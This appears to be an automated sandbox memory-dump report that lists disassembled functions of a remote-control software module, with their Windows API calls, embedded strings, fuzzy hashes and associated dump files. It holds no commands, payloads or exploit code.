Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$Handle$CloseCurrentOpenToken$AddressInformationModuleProc
String ID: ProcessIdToSessionId$kernel32.dll
API String ID: 2536908267-3889420803
Opcode ID: 1dcf6d9d85985ef10b8753f50547058c84e0063489ab1b23d01f5115907ef299
Instruction ID: d3fa29da64460225b5841393e1cef68da5fd46629d73291da4e01f78025d7618
Opcode Fuzzy Hash: 1dcf6d9d85985ef10b8753f50547058c84e0063489ab1b23d01f5115907ef299
Instruction Fuzzy Hash: B321AD39A40229EBF711DFE5CD44FAAFBBCEB44B09F110165E914E3A44E730D9009760

Uniqueness

Uniqueness Score: -1.00%

Function 11003010, Relevance: 18.1, APIs: 12, Instructions: 112COMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(?), ref: 1100306D
GetStockObject.GDI32(00000007), ref: 11003089
SelectObject.GDI32(?,00000000), ref: 1100309A
SelectObject.GDI32(?,?), ref: 110030A7
InflateRect.USER32(?,000000FC,000000FF), ref: 110030D8
GetSysColor.USER32(00000004), ref: 110030EB
SetBkColor.GDI32(?,00000000), ref: 110030F6
Rectangle.GDI32(?,?,?,?,?), ref: 11003110
SelectObject.GDI32(?,?), ref: 1100311E
SelectObject.GDI32(?,?), ref: 11003128
DeleteObject.GDI32(?), ref: 1100312E

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Object$Select$Color$BrushCreateDeleteInflateRectRectangleSolidStock
String ID:
API String ID: 4121194973-0
Opcode ID: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction ID: 33f6d49190b9b24a29b1cc3641f5325a4e922881409c492489886216f2d26618
Opcode Fuzzy Hash: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction Fuzzy Hash: 98410AB5A00219AFDB18CFA9D8849AEF7F8FB8C314F104659E96593744DB34A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 110099B0, Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 252COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11009B95
_strtok.LIBCMT ref: 11009BD3
_malloc.LIBCMT ref: 11009BED

Strings

*extra_bytes, xrefs: 11009B77, 11009CE8
Audio, xrefs: 11009B1C, 11009B36, 11009B7C, 11009CED
nbytes <= sizeof (extra_bytes), xrefs: 11009BB6
Send EV_CONFIGSET from %s@%d, xrefs: 11009D0A
..\ctl32\AUDIO.CPP, xrefs: 11009BB1, 11009C00, 11009D05

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strtok$_malloc
String ID: *extra_bytes$..\ctl32\AUDIO.CPP$Audio$Send EV_CONFIGSET from %s@%d$nbytes <= sizeof (extra_bytes)
API String ID: 665538724-3655815180
Opcode ID: 5baa2e015625421891f710dbb52793db04689a75e937aa0c351c47d49298ce5c
Instruction ID: adf310d86d08ca25db8df7bbab2a8961bf55d7c961d25e6615f2bb86ec9d3f5a
Opcode Fuzzy Hash: 5baa2e015625421891f710dbb52793db04689a75e937aa0c351c47d49298ce5c
Instruction Fuzzy Hash: 17A14874E012299FDB61CF24C990BEAF7F4AF49344F1484E9D98DA7241E770AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1115E8B0, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 77threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32 ref: 1115E8FA
GetWindowThreadProcessId.USER32(00000000,?), ref: 1115E919
OpenProcess.KERNEL32(00000440,00000000,?,?), ref: 1115E92F
OpenProcessToken.ADVAPI32(00000000,0002000B,?), ref: 1115E95C
CloseHandle.KERNEL32(00000000), ref: 1115E97E

Strings

hProcess, xrefs: 1115E945
Progman, xrefs: 1115E8E2
*ShellWndClass, xrefs: 1115E8D0
..\ctl32\WMM.CPP, xrefs: 1115E940, 1115E96B
Client, xrefs: 1115E8D5

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$OpenWindow$CloseFindHandleThreadToken
String ID: *ShellWndClass$..\ctl32\WMM.CPP$Client$Progman$hProcess
API String ID: 2107570828-3172847105
Opcode ID: f886ccfc3192bfaf420af4aa370e7031911a49e079f915bb3e5fa6d37c23fcda
Instruction ID: 35e4e3a9229791c392b329ddf425869299b64210071ac9bc9274d0e225f0a412
Opcode Fuzzy Hash: f886ccfc3192bfaf420af4aa370e7031911a49e079f915bb3e5fa6d37c23fcda
Instruction Fuzzy Hash: DA21B275E41228ABDB44DFE08D85FEEF7B8EB49718F004069E925B7240EB70A900C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1100B870, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(?,8DD58A78,FFFFFFFF,00000001), ref: 1100B8BC
GetLastError.KERNEL32 ref: 1100B8C6
GetTickCount.KERNEL32 ref: 1100B929
wsprintfA.USER32 ref: 1100B966
ResetEvent.KERNEL32(?), ref: 1100BA1F

Strings

New hooked channels,bitspersample=%d,%d (old %d,%d), xrefs: 1100B9A4, 1100BA07
Audio, xrefs: 1100B9C0, 1100B9E0
Hook_channels, xrefs: 1100B9BB
Hook_bits_per_sample, xrefs: 1100B9DB

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountErrorEventLastOverlappedResetResultTickwsprintf
String ID: Audio$Hook_bits_per_sample$Hook_channels$New hooked channels,bitspersample=%d,%d (old %d,%d)
API String ID: 3598861413-432254317
Opcode ID: 4d8ccca68772371beae9765a05ae04c1519a56a32be935604de69499ee4f6c87
Instruction ID: 18c60078330076d4e9d4cf7e90cd241f5a56869eb84b7316cdfab9231a576d1f
Opcode Fuzzy Hash: 4d8ccca68772371beae9765a05ae04c1519a56a32be935604de69499ee4f6c87
Instruction Fuzzy Hash: 7351D1B8900A1AABE710CFA5CC84ABBF7F8EF49709F004519F56697281E7747980C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 1111A800, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 121windowCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1111A868
SelectPalette.GDI32(?,?,00000000), ref: 1111A938
SelectPalette.GDI32(?,?,00000000), ref: 1111A94E
DeleteObject.GDI32(?), ref: 1111A95B
CreatePalette.GDI32(?), ref: 1111A968
SelectPalette.GDI32(?,00000000,00000000), ref: 1111A97E
SelectPalette.GDI32(?,?,00000000), ref: 1111A996

Strings

..\ctl32\Remote.cpp, xrefs: 1111A8D9
idata->dcafpal_offset < 256, xrefs: 1111A8DE

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Palette$Select$CreateDeleteObject_malloc
String ID: ..\ctl32\Remote.cpp$idata->dcafpal_offset < 256
API String ID: 2802648463-1312578601
Opcode ID: 63f3bba390ec59e4f4279fa89bc31128428ce0bdea347592c8afc05ef3585ced
Instruction ID: 0fe01a69d3d0b148662bfc98f1ab0bd740ec6635452722d548052b4e1c8f880b
Opcode Fuzzy Hash: 63f3bba390ec59e4f4279fa89bc31128428ce0bdea347592c8afc05ef3585ced
Instruction Fuzzy Hash: 3A41E1B5600745DBD724CF74D984BA7FBE4AF44304F00852DEA9A9B240D774B846CB54

Uniqueness

Uniqueness Score: -1.00%

Function 11110980, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111synchronizationCOMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,8DD58CB8,?,?,?,?,00000000,1118B2A8,000000FF,?,1100C84D), ref: 111109CA
EnterCriticalSection.KERNEL32 ref: 11110A15
SetEvent.KERNEL32(000002F0), ref: 11110A3E
CloseHandle.KERNEL32(000002F0), ref: 11110A72
WaitForSingleObject.KERNEL32(000002C4,000000FF), ref: 11110A80
CloseHandle.KERNEL32(000002C4), ref: 11110A8D
LeaveCriticalSection.KERNEL32(111F18F0), ref: 11110ACE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

idata->Q.size () == 0, xrefs: 111109B9
..\ctl32\Refcount.cpp, xrefs: 111109B4

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterErrorEventExitLastLeaveMessageObjectProcessSingleWaitwsprintf
String ID: ..\ctl32\Refcount.cpp$idata->Q.size () == 0
API String ID: 3524385308-424854974
Opcode ID: 08dd2b9c5f728f8009bfb542bbee23f2d88066fa245b209c61dae65f3f573da3
Instruction ID: cd3834a14b59d99cf45f83ddfab95b0c7a5b5c864ed52945fb0d8ef614f7dbf5
Opcode Fuzzy Hash: 08dd2b9c5f728f8009bfb542bbee23f2d88066fa245b209c61dae65f3f573da3
Instruction Fuzzy Hash: 4C416D75E006669FD704DFE5DAD096AF7E9FB0A318F00463EE4259B748D731A844CB90

Uniqueness

Uniqueness Score: -1.00%

Function 11145120, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 1114513D
_memset.LIBCMT ref: 1114515E
GetMenuItemInfoA.USER32 ref: 1114519B
CreatePopupMenu.USER32 ref: 111451AA
GetMenuItemCount.USER32 ref: 111451D3
InsertMenuItemA.USER32(?,00000000,00000001,00000030), ref: 111451E4
GetMenuItemCount.USER32 ref: 111451EB

Strings

0, xrefs: 11145177

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Menu$Item$Count$CreateInfoInsertPopup_memset
String ID: 0
API String ID: 74472576-4108050209
Opcode ID: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction ID: c294618d83ba700a36b9fba62bf733376f49e09b6547452e6c31807948eb4840
Opcode Fuzzy Hash: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction Fuzzy Hash: 7A21AC7180022CABDB24DF50DC88BEEF7B8EB49719F0040A8E519A6540CBB45B84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 110CD940, Relevance: 13.6, APIs: 9, Instructions: 89windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111103D0: GetCurrentThreadId.KERNEL32 ref: 111103DE
Part of subcall function 111103D0: EnterCriticalSection.KERNEL32(00000000,745E8BD0,00000000,111F1590,?,110CD955,00000000,745E8BD0), ref: 111103E8
Part of subcall function 111103D0: LeaveCriticalSection.KERNEL32(00000000,745FA6D0,00000000,?,110CD955,00000000,745E8BD0), ref: 11110408

EnterCriticalSection.KERNEL32(00000000,00000000,745E8BD0,00000000,745FA6D0,1105E7CB,?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD95B
SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD988
SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD99A
LeaveCriticalSection.KERNEL32(?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9A4
IsDialogMessageA.USER32(00000000,?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9BB
LeaveCriticalSection.KERNEL32(00000000,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9D1
DestroyWindow.USER32(00000000,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9E1
LeaveCriticalSection.KERNEL32(?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9EB
LeaveCriticalSection.KERNEL32(?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CDA01

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$Leave$Message$EnterSend$CurrentDestroyDialogThreadWindow
String ID:
API String ID: 1497311044-0
Opcode ID: 2ca538d9d32515c3e592d89dbfe819c932d1486fc83d3c14ad79142d2062fd26
Instruction ID: b02c8bb8fc4c5bab3a2fa1ad08f5b589118d407137368f819e71080725a4af13
Opcode Fuzzy Hash: 2ca538d9d32515c3e592d89dbfe819c932d1486fc83d3c14ad79142d2062fd26
Instruction Fuzzy Hash: 5521D636B41218ABE710DFA8E988BDEB7E9EB49755F0040E6F918D7640D771AD008BE0

Uniqueness

Uniqueness Score: -1.00%

Function 110F0060, Relevance: 13.6, APIs: 9, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 110F0067
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,110F0E7E,?,?,8DD58CB8), ref: 110F009F
ReleaseDC.USER32 ref: 110F00AD

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocGlobalRelease
String ID:
API String ID: 1459782005-0
Opcode ID: ef8989bf252fcdced7cb56a846c0f82ac1b7e672def05fb6ebabdfad37a223a7
Instruction ID: 895e16ec520d13b6265c6dc70c6115b10cf0d765340dc232e34c0638dbe3d9ef
Opcode Fuzzy Hash: ef8989bf252fcdced7cb56a846c0f82ac1b7e672def05fb6ebabdfad37a223a7
Instruction Fuzzy Hash: BF113172A41228A7D3209B949DC9FDBB7ECEB4C716F000179FD19C3604E6755C0043E1

Uniqueness

Uniqueness Score: -1.00%

Function 110669B0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107timeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,8DD58CB8,?,00000000,73BCEA30), ref: 110669F0
SetEvent.KERNEL32 ref: 11066A1A
timeGetTime.WINMM ref: 11066A53
InterlockedDecrement.KERNEL32(?), ref: 11066A70
_free.LIBCMT ref: 11066AF8
LeaveCriticalSection.KERNEL32(?), ref: 11066B01

Strings

Unpausing sessionz %dz, rxpending = %d, lag = %d, pausedfor %d ms, xrefs: 11066ACE

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$DecrementEnterEventInterlockedLeaveTime_freetime
String ID: Unpausing sessionz %dz, rxpending = %d, lag = %d, pausedfor %d ms
API String ID: 1154861362-2729525473
Opcode ID: 78289c07d2d03b1f167936287e590b6e78d781c956d8ca5325c26eb241de2d4c
Instruction ID: 1ada849b4505749000e7b83adab13521a77fc953e08c4fb887b5ef09327f5e99
Opcode Fuzzy Hash: 78289c07d2d03b1f167936287e590b6e78d781c956d8ca5325c26eb241de2d4c
Instruction Fuzzy Hash: 83415875A00A059FD715CFA5C984BABBBF9FB48309F00856DE86A87654D731FA40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 110108A0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 110108CD
std::_Lockit::_Lockit.LIBCPMT ref: 110108F0
std::bad_exception::bad_exception.LIBCMT ref: 11010974
__CxxThrowException@8.LIBCMT ref: 11010982
std::_Lockit::_Lockit.LIBCPMT ref: 11010995
std::locale::facet::_Facet_Register.LIBCPMT ref: 110109AF

Strings

bad cast, xrefs: 1101096C

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: de46022b2ae336bc0e96462b75616fe08a7ca04bcaad8c2614b4cd6406c93726
Instruction ID: f6e167af9cfc592be1de198728ebd2299c1aa71980f5109ddd186262730598af
Opcode Fuzzy Hash: de46022b2ae336bc0e96462b75616fe08a7ca04bcaad8c2614b4cd6406c93726
Instruction Fuzzy Hash: 0B312C75E00256DFDB15CF94C890BAEF3B5FB05328F440269E866AB288D775F900CB91

Uniqueness

Uniqueness Score: -1.00%

Function 110CE050, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 110CE0C5
GetClientRect.USER32 ref: 110CE0F8
GetWindowRect.USER32 ref: 110CE103

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

hWnd, xrefs: 110CE07A
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CE0AB, 110CE0DB
m_hWnd, xrefs: 110CE0B0, 110CE0E0
..\ctl32\nsmdlg.cpp, xrefs: 110CE075

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
